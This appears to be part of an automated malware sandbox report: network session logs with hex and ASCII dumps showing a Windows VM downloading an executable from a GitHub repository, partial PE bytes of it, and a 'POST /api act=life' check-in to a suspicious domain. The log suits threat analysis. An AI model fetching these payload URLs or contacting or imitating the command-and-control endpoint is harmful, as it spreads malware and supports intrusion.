2024-12-19 15:11:33 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	50163	20.233.83.145	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:38 UTC	117	OUT	GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-19 15:11:39 UTC	568	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 19 Dec 2024 15:11:39 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-19 15:11:39 UTC	3378	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	50165	185.199.109.133	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:41 UTC	128	OUT	GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-19 15:11:41 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275904 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "f6e395433fd455488d8d231a7e135bc540ae3f4d4024c956534b849ab403e860" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 46B2:36AA:63BA47:703FDE:676437AC Accept-Ranges: bytes Date: Thu, 19 Dec 2024 15:11:41 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740047-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734621102.537330,VS0,VE115 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 5aa707ff3b8b0a4659cb672783f011aeab6fd711 Expires: Thu, 19 Dec 2024 15:16:41 GMT Source-Age: 0
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 ec 03 00 00 ac 00 00 00 00 00 00 f7 78 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 50 2d 00 14 02 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gx@;@ P-
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: 0e 7f 54 d0 cc 87 8b 5f c6 42 59 ee 49 48 fd cb 31 5a 82 d1 c3 d1 61 9b 5e fd 57 db b5 b5 3e 51 67 3b 63 af 11 89 31 1a d4 8b 30 57 33 eb 43 43 55 52 38 e5 c0 b6 d6 b0 63 62 2f 79 94 1a 5e cd f2 ad bd e1 46 7c 66 5c 7a 31 d1 ec dd a3 d0 59 5a 9f 30 3a d4 e6 44 00 91 39 74 0d 99 51 63 9f cc 9c 97 3b f9 ac 97 9e a7 ca d2 eb 15 06 c6 ec 0b 1e 17 48 a8 63 4e c6 12 ba 90 93 2c 12 d4 60 e7 30 25 88 e3 c5 af 0b cf f9 9a cc b8 c5 01 11 0c 2d a2 23 67 22 ae fd 24 1e 22 09 af b9 11 d9 5a c1 d6 49 52 12 f8 5f 8f 3c ff 3b f7 2d 2c 05 47 96 1a 12 16 70 77 7a 70 f0 1a 01 69 13 c8 14 ab e9 86 13 f7 89 f8 82 34 08 51 9d 20 75 f4 ff 41 f5 60 19 d3 4b 0f 23 84 dd 8a 6c 32 8d 7b 77 55 43 8e a4 a1 bb 9a 1a 24 ae d3 81 76 6f 95 35 dc 6c 55 4a f1 81 d5 4d d9 84 ac 87 69 f4 e5 Data Ascii: T_BYIH1Za^W>Qg;c10W3CCUR8cb/y^F\|f\z1YZ0:D9tQc;HcN,`0%-#g"$"ZIR_<;-,Gpwzpi4Q uA`K#l2{wUC$vo5lUJMi
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: 9d e9 c8 ac a2 4e 78 1f 42 08 1d dd 91 fb e3 c4 d3 53 70 95 d8 12 55 99 4d d4 5a 23 46 b1 1f 5a 91 5f a3 af 50 e5 26 cb 28 18 67 eb 6f 3e 0a 95 e8 c2 9d 99 43 e7 53 1b 05 00 3f 0a ba 73 e3 b7 09 81 eb 04 48 7e 49 67 aa 91 73 7f c7 31 36 f1 2b b3 03 b6 7f 5e db 8e a4 13 e3 ed 8d 45 99 30 89 56 fa 11 dd 91 37 75 73 5c fe 7d 7c 9b 89 d5 a5 70 e5 01 37 56 22 a0 b1 63 5e 42 af 07 ac de 33 9d 7a 20 8e 8d 06 6f c9 75 94 3c b4 5b 4a 6a a5 54 95 f6 18 af a0 5b 6a 58 3a d2 81 26 92 ee 17 7a 24 fe ee 41 22 31 80 ff df c8 a8 cb c5 9e e9 4f 60 4a 2b 75 e6 44 1b 86 ac 35 53 46 ce bd 29 49 5f 09 e4 89 17 b8 86 90 44 de 65 35 64 cb dc d3 85 46 40 49 55 96 da 32 4a e3 91 48 16 80 69 05 54 20 47 88 f4 e1 2e 1f ff 11 6d 87 93 62 b9 a2 12 95 ee 55 17 0a f8 2f 9a 2c 46 66 a0 Data Ascii: NxBSpUMZ#FZ_P&(go>CS?sH~Igs16+^E0V7us\}\|p7V"c^B3z ou<[JjT[jX:&z$A"1O`J+uD5SF)I_De5dF@IU2JHiT G.mbU/,Ff
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: f1 78 84 3d 8c 25 5e d0 c4 01 d9 92 bb 7f bc 61 9a 73 82 68 6d f7 c4 36 2a 68 69 f9 9d fc 06 cd 2d 8e 9b 32 53 16 82 88 01 ee 97 fb 71 1d 50 af 95 ac 96 80 0b bb b2 76 df 70 11 73 bd 31 04 52 b6 bf 0e aa b1 b1 2c eb 54 2b 15 c6 45 a9 73 42 88 44 30 f1 3d 77 40 ce 07 c7 7f dc e9 98 8f 55 74 ca ca e5 17 e5 8e bf 5f 91 a4 3b ed d2 b8 50 05 f0 8a ac 75 80 ec 18 2a bc 87 b5 50 94 84 43 54 a1 65 f6 a2 34 b0 63 58 59 98 a8 d1 93 c3 c8 c1 87 9c 54 9b 46 dc 02 49 7a 1d 85 00 be d3 45 82 02 cc 71 e6 0c 91 2c d4 93 4a d3 54 9c ba 68 d8 48 74 f0 4c 08 98 03 7d 59 de 02 c1 1e d2 cf ca ad b0 7f 8f c3 dc bd c2 b9 93 9a ee 98 bc da ee 8c 05 61 d9 7e b7 ac ea bd f5 b2 ba 81 2a 96 5b d4 02 53 aa b5 e8 0e f5 31 a6 2d 26 36 c3 c3 2f 38 32 d9 46 34 4a da 7c a3 ad 41 7d 0e 29 Data Ascii: x=%^ashm6hi-2SqPvps1R,T+EsBD0=w@Ut_;PuPCTe4cXYTFIzEq,JThHtL}Ya~*[S1-&6/82F4J\|A})
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: 7f 3c fb cf 9b ee e5 f5 61 04 ec 17 45 da 7a 22 fb 89 b1 6e a8 3c 39 03 48 4f a6 38 c9 32 32 a0 f3 de db f8 ac f9 60 db 2c de a3 b3 61 f0 7f db 6b 32 72 05 34 1b 2e da 3b fe 0a b0 3c 31 bf 0a 3e 0c 9d 8f be a0 b8 2d 8b e3 17 00 96 b5 14 c6 0b 31 e5 33 f3 e2 f4 b8 62 fc eb 87 6b bf 83 6a ea 82 2f 67 5c a0 3f dc 66 9b 8b 69 3b 42 0d 62 b6 06 8c 74 8d dc 29 30 7a 57 67 e2 38 c1 23 00 6e 42 48 ca da bb f5 c7 01 f4 19 03 69 65 6d e5 b0 ea ec 8e f1 7e 27 fe 5c ec 10 5a 69 9d 5c b5 ed 55 10 9a 3c df c4 3d fa 6e 15 73 ba 43 75 e8 cd 0b 2f 23 f3 26 c1 81 f4 6a 6c 33 fd b4 fc 44 9e 68 cb 8b b7 8b 38 f0 26 cc 60 6b 6c 13 a0 48 72 54 63 ff d0 69 80 78 e0 0a d8 62 bb 4d 5d 85 36 3c 9e 83 4f 77 56 60 6d a4 18 2c 70 5e 18 63 5c 10 2b a2 6c 51 4c 48 dc 09 7a 55 4f f1 08 Data Ascii: <aEz"n<9HO822`,ak2r4.;<1>-13bkj/g\?fi;Bbt)0zWg8#nBHiem~'\Zi\U<=nsCu/#&jl3Dh8&`klHrTcixbM]6<OwV`m,p^c\+lQLHzUO
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: cd 3a 89 7c 61 f9 ad e9 47 47 81 23 fc 3a 2f b5 f0 4d 0b 8b 29 d0 2b 7f 92 b1 2f ff 4c 92 2e ac dd 43 f6 04 93 d5 ff 41 01 3b 9a b7 74 94 f0 2d f7 6f fe c9 1a 4a e2 72 10 49 be 79 64 1e 59 98 c5 73 c1 2a d2 fa ae 9a 87 53 c6 22 fe 8d 75 6a ab 48 e1 0b c7 82 2f 89 a7 52 6e 2e fb 11 41 32 56 e6 f7 04 a9 c2 7e a9 73 03 b5 5e 4c b5 79 b8 36 79 89 d0 e1 a9 f6 25 00 ee 74 88 51 73 0e b8 8a 09 dd bc 9f 34 a0 74 5a 0c 14 42 ca 33 44 ed b5 46 6e e8 2b e7 68 75 d2 d0 6a 06 80 61 d9 4c 48 d3 75 e6 7b ea 03 9c 56 b3 9a a2 fe 7e 5d c7 98 7c ba a6 70 30 fc 93 de 65 4c 0d 22 8d ae 53 69 de 64 a8 93 ee 6e 80 34 db 95 7f e2 f3 f8 6e b6 ca 18 0f 9b bd 92 b3 88 92 2f a1 09 99 e0 be 9a da 67 4a 12 e3 a6 80 3e bc 60 ae d1 a3 80 48 74 82 1e 7c 29 e8 86 3a 66 74 63 bf 32 84 b6 Data Ascii: :\|aGG#:/M)+/L.CA;t-oJrIydYs*S"ujH/Rn.A2V~s^Ly6y%tQs4tZB3DFn+hujaLHu{V~]\|p0eL"Sidn4n/gJ>`Ht\|):ftc2
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: 2e 34 d2 36 c0 1c 87 05 5c 19 ce a7 bd 39 4e 7d 8b 06 42 78 48 49 6f d7 9e dc 3a 51 28 cf d3 b8 60 bb 66 7f 15 75 62 46 09 a7 b7 e2 4e f9 4c ce 36 6b 96 d8 1c 3d 12 ab 4f fa 4a 93 46 1d e0 e5 da 7b 7e ea 20 1a 24 16 a4 57 46 00 78 d6 d2 52 42 48 61 fb 11 84 e4 88 38 35 08 87 fe d7 21 d2 15 3b b1 d6 32 14 35 9b f5 24 fd 97 82 12 89 fb c8 42 80 ab c0 fe 57 3f b0 f7 05 cf c8 4c 9d 0d 28 61 a6 4a ff df 92 66 f3 77 e4 f4 ab b8 1a cc e3 84 f3 c5 e8 a6 23 97 5e 97 2e 49 f7 87 b2 1c e7 c3 6d 90 57 d5 93 b3 a0 57 ea 3b 13 7f a6 ac 57 86 84 70 7a 33 ee a4 49 61 6c c4 db 59 bf 8b 5d d3 90 df 70 fd 12 fb 6f ef 9c ec 2b 51 d9 e7 01 c0 d1 e4 bd b0 75 e7 7c 94 e3 8c 0f 18 6c 6a 23 dc 80 94 92 65 ab fb 9e 3e e6 dd 0f dc 18 39 0c 3b 45 ff 79 45 9c 77 a8 ef 64 09 40 9f a1 Data Ascii: .46\9N}BxHIo:Q(`fubFNL6k=OJF{~ $WFxRBHa85!;25$BW?L(aJfw#^.ImWW;Wpz3IalY]po+Qu\|lj#e>9;EyEwd@
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: 6f 27 c8 2d a7 9d ad 5b 54 d5 1a 44 4a cf 01 57 bf fa c7 40 0f 62 46 a9 78 3b 53 2e c9 60 34 8b 54 3e c2 aa 4c 64 e8 0f 4d 01 52 ca 2e b9 4a 41 71 e9 1a 17 8b 36 85 2b 37 1c b2 47 c3 92 79 78 44 aa e4 73 45 c3 7a ec a7 e8 f7 97 f9 e5 71 06 ae 79 53 00 5a b4 d4 63 52 3c 66 0d 2b ba 47 e1 89 5a ea fe 50 67 3d 24 e0 25 c3 bf 2c 06 02 81 ba 53 b7 8c e7 69 41 5d 67 e5 27 5f ec 50 ae ad 59 7c 47 c4 d3 9c 51 f8 c1 d4 af f7 51 63 69 25 2f 55 56 a6 7f 1d 5e 56 09 83 c4 2a 95 b4 0c d0 59 9a b3 d2 54 43 c2 53 ce ca 88 f2 ab 02 49 f5 6a 13 ba 37 af 1a e5 a9 c6 63 09 86 3a e5 69 a5 da 02 b7 22 96 08 04 32 f5 0f b5 82 78 1a 6a f8 99 d4 fd 19 e7 d9 d9 7c a0 8f df f7 83 e0 1f 60 60 97 60 39 64 30 6a d4 64 cd b7 ed b6 a7 f9 39 b4 fe 6f c4 7e 33 ca a7 36 25 c0 31 bf 78 3c Data Ascii: o'-[TDJW@bFx;S.`4T>LdMR.JAq6+7GyxDsEzqySZcR<f+GZPg=$%,SiA]g'_PY\|GQQci%/UV^V*YTCSIj7c:i"2xj\|```9d0jd9o~36%1x<
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: ba 49 69 e7 8f 7d d1 5f af da 49 9c 64 28 98 59 36 b3 a4 1d f8 cb 15 30 7b 25 96 6a 09 2c f9 20 89 72 a7 05 a6 ea 8d 9a 4d 6f 93 43 f8 1a 0b 86 c5 cd 49 b1 ae e6 66 89 2c 31 6d 66 65 ba b9 26 f7 bc e2 7e 04 08 8b 2a 14 e9 10 fd 4f e9 bc c6 a4 d3 a8 ff e7 d6 37 51 ca 11 be 2b c4 19 d5 58 47 e5 06 47 a6 80 1f cd 2c cd 1b 2f fe bf 7a e4 22 a8 58 99 b7 c2 f4 2a 61 f9 4b 1f 10 3a 80 ad c6 6c c2 ad 0a e8 42 64 3a 1d 96 d8 35 ce 0e d9 3d a7 34 55 40 23 4e ec 0a 67 8f e3 ae f1 06 2c 05 91 70 68 31 70 bc 85 3c c2 34 7e 0b 71 0b ef a9 16 2d 07 43 97 d6 3c d9 85 4d 50 fa be f0 ac b9 0b 8b 20 9b 22 09 1f cb 88 e8 11 b7 86 f0 e6 ed 30 8d 84 c5 b5 0c 33 84 45 94 ff 9e 5f 82 1d d6 2a c6 a7 07 43 f5 be f1 7d dc 32 9e 71 98 2a 5e aa e3 b3 e4 3c fe fd 1c ba 1b fe 1d c0 d9 Data Ascii: Ii}_Id(Y60{%j, rMoCIf,1mfe&~O7Q+XGG,/z"XaK:lBd:5=4U@#Ng,ph1p<4~q-C<MP "03E_C}2q^<
2024-12-19 15:11:41 UTC	1378	IN	Data Raw: 52 e0 1f 58 23 09 4b ac 81 56 f8 11 a3 e9 9a 43 0c 60 01 1d ac 7a b7 e5 2b f8 87 42 a7 8f 08 53 15 76 f7 ad 7b 62 db 9b f9 e8 88 8f 97 0a 19 31 58 c4 e7 2b 34 56 b1 00 87 dc 42 8f cf 0b 67 f8 38 50 45 9a 20 8e fa c9 f1 85 14 bc 23 26 13 67 95 23 3c fc 05 7b 68 9c 69 8d 73 5b fc c0 db 6e da 60 44 01 ed 8b 92 68 d9 2c 74 c3 17 41 9d 40 7d e1 6f c6 35 d8 97 5d ee 57 5b 90 e9 51 03 2c 68 50 87 88 56 9d 16 a8 1b ac 3f 66 16 fd ff b9 0c 32 82 96 49 d1 4a 63 f5 a8 47 9b 08 b8 45 61 aa 63 64 be c9 9a f2 0b dd 64 ef 60 ad 54 73 91 db b5 0f 39 94 2a 4d b1 f6 81 20 51 06 ac df e4 cd 78 af 96 19 fe 1a c8 4a 65 e8 79 5d cc c5 8d d9 1d f9 22 55 8a 86 da 2b f0 00 1c 49 5f d3 1c 62 bf 22 c3 33 ec d2 ad d3 ab 98 d2 42 8b 64 a6 41 08 fd 7f a6 3c da c3 89 a7 2e 33 dc 08 02 Data Ascii: RX#KVC`z+BSv{b1X+4VBg8PE #&g#<{his[n`Dh,tA@}o5]W[Q,hPV?f2IJcGEacdd`Ts9*M QxJey]"U+I_b"3BdA<.3

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	50171	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:46 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 41 6a 34 31 55 54 6a 68 6b 65 67 31 48 53 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 38 39 66 63 32 31 36 66 36 34 31 38 38 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0Aj41UTjhkeg1HSi.1Context: fe89fc216f64188a
2024-12-19 15:11:46 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-19 15:11:46 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 41 6a 34 31 55 54 6a 68 6b 65 67 31 48 53 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 38 39 66 63 32 31 36 66 36 34 31 38 38 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 45 6d 76 44 79 6c 75 56 74 48 71 4d 42 47 62 77 30 65 73 52 76 56 55 35 36 49 30 4c 53 32 78 30 77 38 33 5a 45 77 4a 4d 4a 63 7a 63 31 59 4d 66 47 44 49 7a 31 66 76 64 71 47 33 2f 53 65 37 68 58 4b 67 31 45 32 6b 41 52 44 75 50 79 6b 72 4d 48 76 63 58 49 61 42 43 56 70 52 45 50 74 79 31 67 36 54 67 34 75 54 43 30 69 75 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0Aj41UTjhkeg1HSi.2Context: fe89fc216f64188a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcEmvDyluVtHqMBGbw0esRvVU56I0LS2x0w83ZEwJMJczc1YMfGDIz1fvdqG3/Se7hXKg1E2kARDuPykrMHvcXIaBCVpREPty1g6Tg4uTC0iuA
2024-12-19 15:11:46 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 30 41 6a 34 31 55 54 6a 68 6b 65 67 31 48 53 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 38 39 66 63 32 31 36 66 36 34 31 38 38 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 0Aj41UTjhkeg1HSi.3Context: fe89fc216f64188a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-19 15:11:46 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-19 15:11:46 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 53 37 61 52 66 31 31 4d 45 47 54 4f 33 6b 4e 4c 45 4e 54 42 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fS7aRf11MEGTO3kNLENTBg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	50183	188.114.96.6	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:12:04 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: aspecteirs.lat
2024-12-19 15:12:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
